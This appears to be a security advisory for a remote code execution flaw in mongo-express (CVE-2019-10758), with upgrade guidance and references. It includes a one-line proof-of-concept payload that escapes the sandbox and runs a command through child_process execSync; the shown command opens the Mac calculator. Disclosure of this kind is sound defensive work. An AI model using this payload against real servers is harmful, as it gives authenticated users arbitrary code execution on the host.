Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Snyk Security Advisory
CVE

For more information

If you have any questions or comments about this advisory:

• Open an issue in example link to repo
• Email us at example email address

Thanks

@JLLeitschuh for finding and reporting this vulnerability

References

• GHSA-h47j-hc6x-h3qq
• mongo-express/mongo-express#522
• mongo-express/mongo-express@7d36514
• https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
• https://nvd.nist.gov/vuln/detail/CVE-2019-10758